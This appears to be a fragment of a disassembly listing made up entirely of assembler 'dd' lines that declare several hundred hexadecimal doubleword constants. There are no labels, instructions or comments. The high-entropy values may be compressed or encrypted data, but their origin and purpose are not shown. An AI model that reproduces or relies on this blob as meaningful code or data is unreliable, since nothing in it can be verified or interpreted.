		dd 0C1907A13h, 37331529h, 8D52F117h, 9DDBACBCh,	71D34E05h
		dd 0F40D3320h, 55700DD7h, 7D35A22Dh, 6BE9F1B8h,	0E371A0AAh
		dd 8708DD2Ch, 12681E61h, 0C1803442h, 0D3509503h, 0AEB2E74Bh
		dd 6C9C838Dh, 2BE8B5D0h, 2630031Dh, 5368253Bh, 0AC3D8AEh
		dd 0F058D0C7h, 9D85E955h, 76689081h, 0F0317B7Bh, 8A4D2690h
		dd 162813E0h, 5F7FD3h, 90172CD8h, 0C10B5B61h, 564B06E3h
		dd 0E2E904EAh, 5B38ECA2h, 8476EDA6h, 80A0E927h,	351C0512h
		dd 0E0F95ED8h, 10495560h, 684B9E2Ah, 28DF4705h,	0AAB52538h
		dd 0CEF6E8CEh, 0EB75D4Fh, 3B7F2D7Bh, 0DE4190BAh, 7C9C2A18h
		dd 56EB6B3Bh, 71988344h, 126FBE41h, 90216475h, 0A9A5E918h
		dd 0EAF78DC0h, 2F9E54CCh, 0F600FB29h, 11594250h, 124A1EC1h
		dd 0E91158AEh, 6E54D273h, 0E406044Fh, 88051593h, 261780CCh
		dd 58B4C231h, 5EC1D2F7h, 1D090B03h, 9C3AFE00h, 0EEA00C4Bh
		dd 0F3574C21h, 0A5904726h, 590C384Ch, 0E508C668h, 911E5AF0h
		dd 7B9D3D30h, 5037758Ch, 64410E33h, 81C74352h, 225E9C62h
		dd 0F10F10CEh, 0CA50A24Fh, 880BE8F7h, 0E2D65C5Bh, 0D6FA43C3h
		dd 8361FC91h, 0E17C02C2h, 79E92189h, 3105CEEAh,	42C675A5h
		dd 44D554CBh, 5E97A850h, 52204739h, 912168DAh, 0DD494FB1h
		dd 1AA6E859h, 77B65117h, 27D4E909h, 128CA756h, 0F8BF0858h
		dd 871C54E1h, 5ECBD09h,	52001D9Eh, 0FD16D4BAh, 0CA81041Ch
		dd 0FC094E0Fh, 0F6FE05B2h, 7FAF405h, 0E2B025C4h, 918573E4h
		dd 9952B3DCh, 412F4E1Ch, 185BFF7Dh, 0A4776835h,	0EAF720FAh
		dd 0E73BA3FCh, 0E6E902CAh, 0D86F6B1Ch, 400C2767h, 0D013C0C5h
		dd 7E683DB1h, 0E55AD3C4h, 0EFEB60F3h, 501D3D56h, 594370Fh
		dd 60AF9124h, 633084h, 36BD5317h, 2960ACB8h, 0E58301BFh
		dd 0D07A4D04h, 8D011C58h, 528F1044h, 134CD55Fh,	6017FF73h
		dd 752911F2h, 6102D4BEh, 6A28454Eh, 1F00DD7Fh, 3F7D0E12h
		dd 6221E92Fh, 6D1A5FA7h, 4020F15Ah, 18949060h, 0B3BF8EEh
		dd 0A7FEEBB0h, 0B1D94162h, 0DE65E168h, 54204975h, 6BB49437h
		dd 2F1B2D91h, 0BF171737h, 0A42CD003h, 0CB999981h, 6BC51968h
		dd 0C7410449h, 0FFDAC427h, 0F6127A18h, 10FD7EBAh, 125EF109h
		dd 640B11C9h, 579B61DCh, 0B7EE1220h, 217DCF62h,	20456861h
		dd 0E9C4B072h, 0EB2EA453h, 1C262BFAh, 4006707Ch, 687C070Dh
		dd 34081CF3h, 5E14091Ch, 0B820F4E4h, 27CC80E6h,	824535C5h
		dd 6101822Ch, 3EE91948h
		dd 5AA41B4Fh, 339DBC43h, 0B89CF0A6h, 0EC59A207h, 0C181050Fh
		dd 85CD283Dh, 0FCAE2618h, 514A372Fh, 1262A7C2h,	0DA397060h
		dd 0EC3713B5h, 0E98201A2h, 925E1974h, 0E102FAE8h, 76239665h
		dd 8C61436h, 6198E64Eh,	54A26859h, 957A2276h, 0B1F6200Bh
		dd 6F4F2A1Ch, 0D8EB8934h, 2A424C6Fh, 0D97D9D03h, 8188493Bh
		dd 4B029FF1h, 0CA211A33h, 0DFF06359h, 907AC650h, 9F92BF3Fh
		dd 0BA0343DAh, 0F7608112h, 0A4F9B8D0h, 0E0024F90h, 0EB272193h
		dd 0A43C7A5Dh, 50D89896h, 12DFE903h, 0B10538Dh,	3FA1FAD3h
		dd 84EAD15Ah, 0BA010374h, 7FC401AFh, 81326B0Ch,	9AB39F0Ch
		dd 97F894Eh, 92F4EBE8h,	5616982Dh, 0B4904BBEh, 5CB4DF11h
		dd 0EB54550Eh, 0EFDA1057h, 4B71F8FEh, 0C28A8407h, 0A075B2DDh
		dd 0B55152A6h, 0DDF6003Fh, 8007E5C0h, 759017C5h, 0EA095999h
		dd 704FFC99h, 67C0ED51h, 2C796CEEh, 0C6012869h,	580881E4h
		dd 28949F73h, 0D8EF7517h, 0C17C0141h, 56A32435h, 212E29AAh
		dd 8011809Dh, 0D2F696E2h, 27C27CFEh, 0D5E42569h, 4E49E4B5h
		dd 5E8B8207h, 7EB9BA7Fh, 0B6CC2F48h, 6F0E6812h,	0CCC63063h
		dd 57DE2BA8h, 0D124576Ah, 69D6D37Fh, 0C051CB8Dh, 0B6E84236h
		dd 21D64BF3h, 6170A102h, 5C0E0016h, 9E9867A9h, 21E8EF7Eh
		dd 5989062Eh, 0A5B0F396h, 0D83126ADh, 39190884h, 7908253Ch
		dd 57900833h, 0D6246524h, 0B8F3CC6Eh, 14CC982Ch, 0CF4313FFh
		dd 103CFA2Eh, 2E054CA1h, 2109F202h, 45FCD9F6h, 68B84003h
		dd 24757219h, 331D97A0h, 0C179C507h, 0D58004E0h, 39B4B06h
		dd 0E958C689h, 850254D3h, 7B0893C1h, 0F45603Fh,	0C69BA47h
		dd 0F8895DEFh, 0E44E5EE6h, 49827327h, 37A35F13h, 97009C93h
		dd 105D7AE5h, 0FA56452Dh, 0D13C4894h, 54810C89h, 89109B68h
		dd 0DEBACCB9h, 853896A5h, 5570B34Ch, 742CF103h,	984F7971h
		dd 5C92AF3h, 957DBBE2h,	478F8BD6h, 0D99D2CD3h, 0AE9C842h
		dd 0F00646ABh, 0D8D449A1h, 20EE450h, 0C16B5347h, 59FC06EEh
		dd 0F02EF601h, 2BBBA2h,	563A05A2h, 0E9124A8Eh, 0BAB23F17h
		dd 59669D0Eh, 0D314D346h, 10D7E2Ch, 6AF3898Bh, 52447E59h
		dd 0F4E28C7Ch, 0C4135D97h, 633195C1h, 3A648B8h,	472852CCh
		dd 0E23BE8BBh, 0D79436h, 0B02AA2Dh, 0BE2AE922h,	0F8B8EA9Ah
		dd 0B1E25A4Eh, 69C0FF66h, 223E2D00h, 5E687D50h,	0A2E0A83Ah
		dd 2A8981F6h, 67E144D0h, 663F4866h, 0F9504506h,	34138E19h
		dd 0EB00BD16h, 592106E1h, 8160B40Eh, 7264BC9h, 191E8267h
		dd 0C00DDF4Dh, 2D37EF00h, 88D05FB2h, 0C9984F50h, 8D648091h
		dd 301D93BCh, 0FDADAC3h, 46AB6F40h, 5245CA2Fh, 0A2B320DDh
		dd 53AEB906h, 8807836h,	6F61070Fh, 0EC03D40Fh, 18400C71h
		dd 2418132Dh, 0D00207Fh, 7BBD556Ah, 0D7A1D21h, 15DE929h
		dd 0B3677A9Eh, 1A9D52C9h, 0ADCF685Ah, 0BAFD3EE2h, 39B5606Ch
		dd 0C61BD33h, 127D3915h, 0F5CA5EF3h, 6865A45Eh,	93CD235Eh
		dd 41450F20h, 9FB900F5h, 0EDF37774h, 80B32401h,	8832F109h
		dd 42B65C8h, 0C020772Ch, 80EED00Ch, 23FCAFEAh, 0E9F02805h
		dd 70EB1F87h, 776850FDh, 0BC8C345Eh, 0ABBAF4h, 0F233DF2Dh
		dd 72150553h, 18385E4Ch, 8888FAF1h, 3C1BBBFDh, 659EB13h
		dd 0ABA68502h, 5A36C13Eh, 737196E6h, 5818706Eh,	80587F0h
		dd 0AD03EDC0h, 0E9E80657h, 0B542EAFFh, 0C43017C9h, 2EC29EFh
		dd 0D4C314F5h, 0B507F45Fh, 0D444723Ah, 0F9FE0EC6h, 0BFFD809Fh
		dd 97FE6A15h, 0D6F8D2F0h, 652F109Eh, 1A3E28ACh,	209629E9h
		dd 87063253h, 7D0F53DAh, 41D949E9h, 1344B104h, 0B3758256h
		dd 72C50680h, 3F4FD66Ah, 0A2ED4DB0h, 33863108h,	91124678h
		dd 2DE2E338h, 0BEA64142h, 580676FCh, 2034FA5Dh,	7974F90Dh
		dd 4F5F2A40h, 0F284D85Ah, 2592C69Dh, 0DF5C4D68h, 5C975667h
		dd 1770B6F3h, 0E2974948h, 3A813075h, 5AF80717h,	8432E347h
		dd 62EC1F3Bh, 8C422188h, 815C0095h, 531F02CFh, 320B4956h
		dd 5069E827h, 1EC02851h, 2ED307ECh, 52294C8Eh, 45EAFDE9h
		dd 0A14CE80h, 10F67365h, 4E914C49h, 3594C93h, 156DBF67h
		dd 0D8D14DE3h, 0A6203E13h, 6600ABAh, 0E2C177A5h, 87027808h
		dd 0F7393E45h, 0EA5241DAh, 1CF5D007h, 2E1F312Dh, 8E52EB89h
		dd 14687042h, 9E9BB801h, 678A395Eh, 12F0C8D0h, 0C4ED2E12h
		dd 7652BB4Bh, 2F9F34B9h, 2A52E642h, 39423504h, 4BEE06F1h
		dd 0DF408E8Fh, 34593768h, 0DE7F8486h, 0B7140D12h, 0B3CC6A97h
		dd 0D42FEF5Ch, 0B105BC44h, 9672B6A7h, 68E6829Fh, 35A10D45h
		dd 0CF0BF4BFh, 0E60455DBh, 58CF0462h, 43B2C601h, 67D84757h
		dd 634C02B5h, 689497C0h, 0E9A42E09h, 4D4C41C2h,	0FAA7C20h
		dd 8914BA41h, 32F95DABh, 0CADE313Ch, 0EF04AD64h, 8FBC1F13h
		dd 5611E9B0h, 109F8ABCh, 0C19480Ch, 0FC5C129Eh,	6D0F547h
		dd 14830C08h, 0BDBE6414h, 163C887Dh, 10E8B8D7h,	77735809h
		dd 0A7C8B183h, 0D29156A2h, 6E5DBD00h, 0CC3C6F19h, 0E3CB1385h
		dd 0EEC54AF1h, 69ADBD00h, 4FC144ABh, 0A45880E6h, 954C6D35h
		dd 0EA2015h, 80619CBBh,	74C38168h, 2C391116h, 0F58031C4h
		dd 58F679CBh, 6E60AF07h, 21EDB053h, 126B39F9h, 60B81C70h
		dd 3021AAD2h, 0CB7B2E57h, 0B850006Dh, 524979F6h, 0C1D000F7h
		dd 4C3503E0h, 6D1AB430h, 5958C701h, 31740210h, 0F78069A1h
		dd 6B8F73D7h, 1CD0017Ch, 0B0553508h, 0B04E2483h, 0CB03F8E9h
		dd 0FAD2D999h, 79ED422h, 35E37CDh, 75E56014h, 0A40416Ah
		dd 0B60CD874h, 215B5DEEh, 502C5AB2h, 0E84E0824h, 9FDBD13h
		dd 136C0110h, 3ED5E5Dh,	83D82A8Bh, 89234597h, 392A9341h
		dd 5589250Dh, 0EE232E60h, 893F02F6h, 9601DDC1h,	0FA85CF04h
		dd 5AD72903h, 3F5FF9F9h, 0EE6057D9h, 6B751236h,	0E9CD0543h
		dd 4EB9A8ECh, 0C3C0A2E2h, 54867D39h, 918E92Fh, 9890FEF8h
		dd 4D134C59h, 683F5804h, 96B92785h, 0EC3047C5h,	18F8E467h
		dd 0B371E9A0h, 4A606C95h, 75592159h, 93417EAFh,	3DF410E1h
		dd 8E7507Eh, 48382575h,	64EF277Ch, 6AD89299h, 75D84C21h
		dd 83A20127h, 5C0CF9FDh, 0C8DB002h, 3E910574h, 0D516EC60h
		dd 20E8FBE4h, 5B7CEC93h, 213EAE3Dh, 0D09D37Eh, 0E2A47C38h
		dd 35F4C485h, 0C200012h, 29527141h, 4F647FEDh, 0F2F40D19h
		dd 3F14DF90h, 0C607AB68h, 32B3EDAFh, 0BF615683h, 6DD86A9Fh
		dd 8DB75ED0h, 572024DBh, 3FBEBF04h, 26C01997h, 5C009C8h
		dd 0E9F72968h, 0FA0A95CEh, 757ABA00h, 135B637Bh, 22244F31h
		dd 84EAA00Dh, 0B3F0A0F0h, 27D09B4Fh, 92D1F707h,	6D860F1Ah
		dd 0BD163188h, 3763108Fh, 0B195A150h, 60DF0F89h, 0D5F75180h
		dd 17C1ED83h, 0E6879099h, 8120A320h, 8D677F58h,	59ABB8D2h
		dd 0A5561D69h, 7C2F874h, 0FEC20BA1h, 7C490159h,	0FA15A0Ah
		dd 284A2368h, 0C029CB54h, 0B90966E8h, 914B0841h, 16BB782Dh
		dd 2458D18h, 0A41BA54Bh, 0E4500075h, 0C1596063h, 0E9454DDEh
		dd 48D23C36h, 0D0118F5Fh, 49C0680Ah, 0FD54493Ah, 501EEFA6h
		dd 802B5519h, 188F170h,	0D80459EAh, 202CD028h, 9B5AB08Ch
		dd 29BA0E52h, 0C8E01151h, 90E978FFh, 0CB7A2ED6h, 0BB530B00h
		dd 5F689Bh, 1F21BD1Dh, 0DD2911E8h, 802CE92Fh, 0B4B5515Ah
		dd 8414C8F6h, 0A5F2F9AFh, 520F99C5h, 0F35DA068h, 25E95A6Fh
		dd 0D7760F90h, 103CA367h, 0E62F9888h, 8D595CCAh, 4F211654h
		dd 0BA73D4D0h, 50977761h
		dd 30840B78h, 21092E8h,	5816626h, 0E95305B7h, 7AE91Dh
		dd 8F3315BBh, 14EB8140h, 0B089AA90h, 5E23CE7Bh,	9850FACBh
		dd 334BBADFh, 0AF405326h, 0E6E96918h, 3374D14Eh, 69B37881h
		dd 0B86D40C5h, 9B2AA34Eh, 289800E0h, 43304D1Eh,	6AB8514Bh
		dd 0C822AFF3h, 0EF61B9Eh, 20E580D5h, 0FEA3F561h, 17EF69C5h
		dd 64E4EFEDh, 91A46219h, 30C1E4F1h, 6B4E219Fh, 60935488h
		dd 5BC623CFh, 6F60124Fh, 0DFBDE10Ch, 51029D8Ah,	255ECD01h
		dd 803BCA58h, 51CD001h,	36013F46h, 60AE685Ah, 50806B57h
		dd 4A1E3765h, 460E355Eh, 0BD7F74Bh, 0FA36BA80h,	24BFE891h
		dd 0C11B82DBh, 6094A1A7h, 0C8353EDh, 570C598Eh,	1002D9C3h
		dd 38F48756h, 5215E89h,	844B9EEDh, 8817AAB3h, 5E1806F6h
		dd 8F69C941h, 351A30A0h, 25B064F0h, 2620440h, 0E9688648h
		dd 0F859EF9Eh, 17332EA5h, 592730ACh, 2DD3AB09h,	0EF21CC92h
		dd 26166761h, 0F68BB100h, 0B6C180D1h, 0F89C30E9h, 0FBDEE89h
		dd 0C8567C38h, 0CFDE1398h, 9DC364ACh, 0EA2E6950h, 667041FAh
		dd 818C9143h, 0D102EFC1h, 0BC9F70E7h, 0A622444Bh, 0A19E1009h
		dd 0F763A2BEh, 0C7EF2DB8h, 0EFCF8868h, 72DF6102h, 75DB04E9h
		dd 6CDEFDA0h, 0E2B55F6Ah, 0E4827D31h, 62D1378Bh, 0AE19D16Eh
		dd 2AAD408Eh, 4BFC6800h, 0C14D0Eh, 0EA8103E2h, 459B5B0Ah
		dd 57EFE29Dh, 7241A06Ah, 5A106C99h, 3192BFA2h, 2F2BE9E8h
		dd 0E5E1B74Eh, 0AFC9D73Dh, 9553E4F8h, 0E7201AC6h, 0EB0406E3h
		dd 452CBD68h, 24941320h, 14B2E5D0h, 1784FF06h, 0FC801633h
		dd 90890363h, 32902513h, 0CA02F171h, 5C42B015h,	5E05503Ch
		dd 33D1FA04h, 0F5ED35E9h, 0C7FCEF30h, 963046EAh, 51470C3Ah
		dd 1D0B5BF3h, 8F7ACAAh,	5D13ECD9h, 0F871A07h, 0E3C124F1h
		dd 4D51017Bh, 30362F46h, 0C5FE426Fh, 5C01743Bh,	5D084056h
		dd 0F70830C2h, 0CAC3E2D3h, 1B86D676h, 0D7E0632h, 5E8DD825h
		dd 2F24CAE6h, 8B5C7A89h, 0D5A70552h, 5CF522BFh,	3BB799DDh
		dd 0A7D8105h, 0D25802BCh, 0C34B4B4Fh, 3850FE00h, 3DAB9B13h
		dd 0D6681409h, 65A0DC5Eh, 3B63E1D4h, 637E5DCAh,	0C3013F7Ch
		dd 485933A1h, 4A97F5F8h, 97AF3FFh, 0D1D1B074h, 49ADA632h
		dd 747E5C74h, 0A27B13E8h, 0A2977Dh, 0F6D8899Ah,	304A22F0h
		dd 660E6EB3h, 0F51608B3h, 62E42E17h, 17C9E19h, 3A57AF2Dh
		dd 34AF307Ah, 44A3614Fh, 5C02BF02h, 7AFE38B0h, 0BB31F305h
		dd 47FA17D4h, 82C3290Ch, 0A7B2B3AFh, 0DAF20843h, 55E95FFEh
		dd 0E5EE832Dh, 5CBF62D3h, 0DE9A478h, 0B34AB885h, 0F626792Fh
		dd 0C64013F7h, 0B03F676Ah, 0C4AF831h, 49E91F9Ah, 2D04403Fh
		dd 0D5344B01h, 3F890B1h, 3277BAB1h, 97604FEEh, 6A15266h
		dd 0E1E00D66h, 0FD98B56Eh, 0F6007025h, 8433BE0Bh, 2F2948DBh
		dd 46D259CEh, 0C8F0E912h, 0AE046D65h, 0AD10AABEh, 71781201h
		dd 42FE31FAh, 0A1DDF7A3h, 8C4DE9F9h, 50592880h,	0EA4F24B8h
		dd 90254900h, 0E9605F45h, 8858FBC4h, 48532A68h,	36544E59h
		dd 0E70A702Bh, 0E518607Dh, 560DE31Ah, 89680A5Dh, 20552077h
		dd 6696CB1Ch, 7CAA926Fh, 71955E60h, 71E9E188h, 0E5907BC7h
		dd 7B9E4C50h, 0F4273047h, 1A1FF217h, 0D1770826h, 900EC001h
		dd 5D2231E2h, 82B2E250h, 261C7E41h, 53EA0073h, 0DBF6EEB3h
		dd 7EB25C0h, 0B399354h,	620EE993h, 0B637471h, 57DE2B1Eh
		dd 0C5BE5669h, 0A7DF445Ch, 50BFA4F6h, 79A55207h, 2950CD81h
		dd 5FF71B57h, 7BA48DDDh, 0EDCFAD1Ch, 3BF58002h,	2E365FC6h
		dd 4910EB29h, 344AB150h, 0D6B139C5h, 684A178h, 0A230AEF2h
		dd 547616D2h, 770DAA43h, 0B0264A35h, 0B1CA870Ch, 65028653h
		dd 555B5616h, 0C0830AE5h, 304A627Ch, 579A08A0h,	52123FC7h
		dd 9EA4EB21h, 0D837416Eh, 0B54C5173h, 9A5E1911h, 0D8C8D391h
		dd 0BB5A005Bh, 43970571h, 35CF9FE9h, 0EABD365Dh, 59410125h
		dd 885000CFh, 9F41F0E8h, 0FA68C681h, 14F542Fh, 9343B6BDh
		dd 87B312Ah, 1AC150A6h,	0D0518E9h, 75D61DD1h, 0B0578632h
		dd 829F1B90h, 0FE27AAF2h, 8A4FF1AEh, 4097157Eh,	18872C14h
		dd 0ACF00AB0h, 5B237F82h, 531005BBh, 5C008A8Dh,	0A685557h
		dd 5CDE8E6Fh, 0D3201913h, 5CA9DE49h, 5B2C1DA2h,	3194A45h
		dd 13ABF6B5h, 250EFC59h, 9121665Fh, 63E962ECh, 0E25C65DAh
		dd 16125BE8h, 0F86928EAh, 0F93C2741h, 0BF5465D6h, 0AA48DB04h
		dd 0C8018804h, 274FC299h, 597FEDCFh, 0B90091FCh, 699E6B59h
		dd 601E1C1h, 1555F181h,	0C27F4D5Ah, 5CCAB487h, 0F3FBEF63h
		dd 60CB49B3h, 3FADE3B0h, 27FA7964h, 7BAD290h, 0ED392624h
		dd 5EEA06Fh, 17D35E23h,	4501EA09h, 0AE2889C2h, 0F9DCFF70h
		dd 0EE585C3h, 0C82FB3E5h, 1143DFBh, 25DFF1DBh, 7210FE4Ah
		dd 0A78FD42h, 0AEF05B4Bh, 784B180Ah, 0B9620D72h, 5DB6354h
		dd 0A523AC02h, 0D011E961h, 0A5CCBDF5h, 2515E595h, 0AE88A859h
		dd 9F06A4Bh, 0FC5ABE51h, 503D140Fh, 0CF2F657Dh,	773962A5h
		dd 1B9B124Eh, 0EEBBCBB6h, 2B5808BBh, 0F713780Bh, 141F3870h
		dd 7FCB459Fh, 0EB53DC46h, 89596F76h, 95B987Ah, 8A497BEDh
		dd 40760D9h, 4A7DF679h,	2CB8B31Dh, 8993AC94h, 0F2013505h
		dd 4E6830CCh, 0BE2B30DDh, 2D5C86C1h, 8B0C1667h,	306CF766h
		dd 5D312868h, 0E92F5A55h, 0C74AA2D1h, 931C2535h, 60DB502Fh
		dd 0F37C989Ch, 384EA8FEh, 1DC38C90h, 64CE0B6Ch,	497ECAE9h
		dd 0F6C9FE82h, 505276D1h, 7376E951h, 0DA905892h, 714ECD04h
		dd 0AE3F9Fh, 1CEC570h, 0E97649D6h, 0C0B439F3h, 0F468595Ah
		dd 8DCCBD24h, 0C748319Dh, 6005A330h, 6F5D0C30h,	0EFBC5BEFh
		dd 0A008D13Ah, 71FF140Ch, 1957D233h, 26EDE90h, 0CB0158DDh
		dd 628E96E0h, 73231E2Eh, 8060E802h, 4BE54268h, 555CB2CEh
		dd 4754A1ECh, 1716358Ah, 0DA0CDA62h, 74CD18C1h,	36BF2D73h
		dd 74C2BDAFh, 0D42178Fh, 591DDBF6h, 6CB9AD96h, 69FEF73Eh
		dd 9310FBEFh, 51B64472h, 63D76841h, 2611CE2Eh, 4C932C3h
		dd 72A2028Ch, 55FAE04h,	1EB525h, 4C42E908h, 0F505B6BBh
		dd 1FAAAF28h, 136CBE2h,	54979A7Ch, 65591F4Ch, 0E8DA4B28h
		dd 0C280B011h, 0F62FE1C8h, 3F522C8Fh, 0F3885305h, 5E87D8C2h
		dd 2E0253E6h, 7FA30BBAh, 5FA0F0FEh, 5FDAF431h, 0F9D8029Dh
		dd 0E9B9DEB8h, 5E8165Ch, 0C996C8AFh, 0AC34C288h, 3FDBD830h
		dd 0D2090F0Bh, 14F10452h, 0A0295E94h, 955B650Fh, 46C60D40h
		dd 65B9427Bh, 1C310BC2h, 30FCD2DBh, 5F6856DCh, 0FD40156h
		dd 80E52877h, 3DFBB951h, 0F04C4DE8h, 9614722Ch,	7790A8Fh
		dd 0B850808Ch, 16A27D80h, 58C72912h, 79597500h,	5FE96F64h
		dd 0BE4E01A5h, 302168BAh, 1241B2E6h, 54AD5E7Bh,	0E081ADD4h
		dd 593FF768h, 601E4DF5h, 8C53D124h, 7E5D25ABh, 60E978B9h
		dd 885885BFh, 6DA90DFBh, 103778B5h, 31122364h, 47D3D1DFh
		dd 0C3A32AF7h, 685AF002h, 92D91617h, 18BC0A88h,	3EBE7659h
		dd 2677533Eh, 589DD92Ah, 2F532593h, 2CECA206h, 45554EF1h
		dd 92B60FE7h, 0EC57EFC5h, 95C7FC0Ch, 5E720ACAh,	4B865020h
		dd 0B79B305Ch, 0B0FC66E3h, 3630B526h, 1E533F12h, 512F33ACh
		dd 123DDD73h, 68C8DD5Ah, 90605B8h, 0C04023CCh, 0DC33F6D7h
		dd 0F1DFE930h, 768E4BDh, 0C5835BE6h, 0CBF7D6FFh, 95E26FA3h
		dd 3634FF0Fh, 4D1C41AFh, 0BEA9489Dh, 89F6AF84h,	0EC93F6A6h
		dd 9A9754C0h, 0A65C83B0h
		dd 0E970D057h, 7804979Bh, 2C49BC51h, 5B97FC59h,	4AC33040h
		dd 0BF845094h, 6F096280h, 0D532E91Ch, 433197DCh, 41D39A8Ch
		dd 0C917DDCEh, 967ED9CCh, 2824729Ah, 0B658F3D3h, 0EE800ECFh
		dd 76EC087h, 2862C6CFh,	1B6A5AF3h, 0D062CAF1h, 5F12043h
		dd 945BFEB8h, 0E9619BB1h, 4559107Fh, 2D7EE4D0h,	0A4120FEBh
		dd 9FB9EF40h, 16BA5D58h, 7CCCEBFh, 80BCBC5Eh, 0FB7985E1h
		dd 0D958F752h, 0FA600141h, 3EE9AFB4h, 0A2AD1934h, 4C23F71Ch
		dd 80B9D030h, 0EC81AA15h, 74851B20h, 0AFC058B3h, 0BE592C4Ch
		dd 1EAF5926h, 8839E03Bh, 34A548ECh, 11A8EF4Bh, 8C02CD13h
		dd 90F45642h, 0BE0B27BAh, 0D72869h, 236284E2h, 0B4294C68h
		dd 8CBC4F77h, 3FF3D768h, 4B2B399Dh, 794051FCh, 6677C4FEh
		dd 3B75B538h, 0E3E350ECh, 9EC07B7h, 5D2CC332h, 0C5AC72CBh
		dd 0D47982EDh, 312E0278h, 87173FD0h, 0BA5BB582h, 7D7192E3h
		dd 369CEB00h, 0D8806802h, 6955283Ah, 5ADE40E7h,	9D94EBB0h
		dd 1F0B393h, 9F539754h,	32A56805h, 6E6095CDh, 0CB060514h
		dd 83C15823h, 9090350Dh, 52174FF9h, 97ACC289h, 4E61E62h
		dd 0B30296FCh, 89966AD7h, 5254DCB9h, 9DAB96FFh,	757E41C0h
		dd 891D6E09h, 0F0FD8BF9h, 96BE2755h, 0C7DC40A7h, 2D5E9B0h
		dd 0E0EAC197h, 273E2B0h, 83100C04h, 327401C2h, 81D21708h
		dd 631432C3h, 5BEBFBCDh, 0A055BAF2h, 0E366AFE0h, 9015B035h
		dd 22081661h, 0A0151309h, 26E34457h, 2F8A4018h,	6FD21E4Ah
		dd 0A2C32040h, 477BFB37h, 537F49h, 0F0681425h, 2D8F70Eh
		dd 0DFF92D40h, 46C0FD6Fh, 256002E9h, 5675EB3Fh,	14F09DDh
		dd 0B1CB5BD9h, 6E04D880h, 9835395h, 25E6536Ah, 0AB20BA5Eh
		dd 798ECD81h, 64A4832h,	0F46D707h, 0C4DDF457h, 15ED1FCh
		dd 5B1E82F5h, 5764903Eh, 4E5757C2h, 685509D2h, 9DE41DBCh
		dd 775AB2B7h, 0BCD7D489h, 1F9A9F4Dh, 59A48177h,	803B4BF1h
		dd 78C01278h, 107BD8A3h, 0CCCEB405h, 6D86D501h,	0C0E5956Ch
		dd 68FA6435h, 0E14AF6F4h, 0CC0939ECh, 0DEC64A68h, 45BCE914h
		dd 77BD80B9h, 7D011563h, 914AFBh, 0C2C58063h, 112D6866h
		dd 0C35AAF51h, 0E0E530D5h, 16DDF658h, 4F12E952h, 0F39289F5h
		dd 2002580Ah, 0B388CBC6h, 82BD29E8h, 0C6EC16D2h, 0E7AFDCDEh
		dd 51C26359h, 6E591168h, 336D3B07h, 904DE931h, 0EB00D332h
		dd 15D00457h, 12C05E53h, 610C28F6h, 0D836C00Dh,	4E67EF4Fh
		dd 0C20BBE98h, 0C1205223h, 8804376h, 0E4CB8107h, 15768A40h
		dd 93BF339h, 0D831A33Fh, 94D1201Bh, 9AC93A0h, 89690D10h
		dd 12082D7Eh, 55ACDD64h, 10AF504Ch, 2E752A02h, 4971823Ch
		dd 92BF99DBh, 36B4ACEDh, 0BD944A24h, 0D231C58Eh, 0C930D099h
		dd 8D6D16CDh, 0BABB944h, 2A97A7Eh, 1200A56h, 97624868h
		dd 94C4710Bh, 4E279ABBh, 5BC6DDA4h, 2F41DDB0h, 40DFFAB4h
		dd 0ED398021h, 96F5928Ah, 25FE42B4h, 63D8F8E9h,	0AB67E59Dh
		dd 2770A4A0h, 6E65C12Dh, 0A992508Bh, 1DCA90BAh,	7F440D17h
		dd 0CBB878E9h, 9A06AA52h, 0C41DB66h, 576E3616h,	109F9309h
		dd 324CF84h, 0C139B443h, 0F7C904E7h, 9199ECF0h,	5FFB3112h
		dd 0E982DBE8h, 99D5BBEEh, 753586BDh, 0CA7DB22Eh, 0F922E44Bh
		dd 10C9884Ch, 0FC4AF094h, 52D8C23Ah, 8209A950h,	0D846E92Ah
		dd 3F5A487Fh, 90D89617h, 513D0D9Bh, 2C57743Eh, 74A70D2Bh
		dd 1D45A6EBh, 1238C02Dh, 5F02902h, 815C07A2h, 25C74288h
		dd 0EEE24B7Ch, 8E96DF80h, 40E62D05h, 0EFE1BE0h,	4AF05F64h
		dd 4DCBB2A4h, 277EDD77h, 5EEAFD18h, 0C66D5C5Ch,	0BEF8C47Bh
		dd 0CD641E21h, 0BEE67197h, 0BB0E8018h, 0B97895D8h, 5EF33112h
		dd 5926F0A0h, 52834208h, 8DAC2568h, 0E857E560h,	452D77EBh
		dd 0CD368047h, 102E2936h, 9B471E9h, 7DDA685Bh, 4A70CD1Bh
		dd 895C2738h, 0F21866E9h, 4E56095Ch, 0FDD6995h,	78B4C9E3h
		dd 54CC98BDh, 724AD9F5h, 0C52913D7h, 9C0BBD58h,	48022FFDh
		dd 5FD3E950h, 75D42DAh,	90F2F730h, 0BABFBBFAh, 4570A9EFh
		dd 59CA0BB0h, 96BDAEF0h, 137B5AB4h, 0B408EDA0h,	4E2580F0h
		dd 82C3E95Dh, 83A10806h, 3BF5FFCCh, 36EC747h, 11BDEFC1h
		dd 0BED36015h, 2D6D4A01h, 34CDE94Ch, 0C45E2862h, 2C2CAA4Bh
		dd 0DF212AE9h, 3EC32680h, 9A8F9B25h, 4213444Fh,	982126B0h
		dd 0BBB800Bh, 7936E931h, 97041F48h, 0BF375027h,	5859F990h
		dd 3FF52F68h, 1309A11Ah, 1FCA9200h, 45015672h, 42D3F581h
		dd 817B3A14h, 3E271C03h, 0E913AD9Ah, 92741C9h, 2A5A1C57h
		dd 0BE7475D8h, 74782F38h, 959E63Ah, 0B2D13170h,	0B67D619Ch
		dd 3302BE01h, 525E16F9h, 0E9139AF2h, 7EF4B141h,	0F4D31382h
		dd 125E27FFh, 919CFFDAh, 894546B4h, 1CF096F5h, 67A5FFCh
		dd 3644290Ah, 0F2345F98h, 0BA9A2E7Eh, 844FB64Ch, 0AB8484B0h
		dd 3CD00061h, 52D2F700h, 595A511Eh, 8BD304CAh, 14F82997h
		dd 25D6ED4Eh, 5FBDE25Fh, 2BFF1999h, 365EE5Dh, 74F129BEh
		dd 0D8288076h, 57E36813h, 93B72830h, 2DF70480h,	0B9AA6DE9h
		dd 0E05A51E4h, 1256747Eh, 96050C1h, 4BD13414h, 562F0787h
		dd 0E3C02038h, 601D3252h, 6CBF0C30h, 67900F82h,	0A19B340Bh
		dd 501609ADh, 0B2520233h, 5AD330FCh, 44C16442h,	65102538h
		dd 0B4E968D1h, 7E0032AFh, 0B643ECDCh, 756FD7B3h, 0C42E29B3h
		dd 57B1C700h, 68017867h, 908BCCFh, 8BE2B7E9h, 0AC286076h
		dd 9B20FF5Fh, 72C8BE0Fh, 570C6F68h, 9137F968h, 0F726BA82h
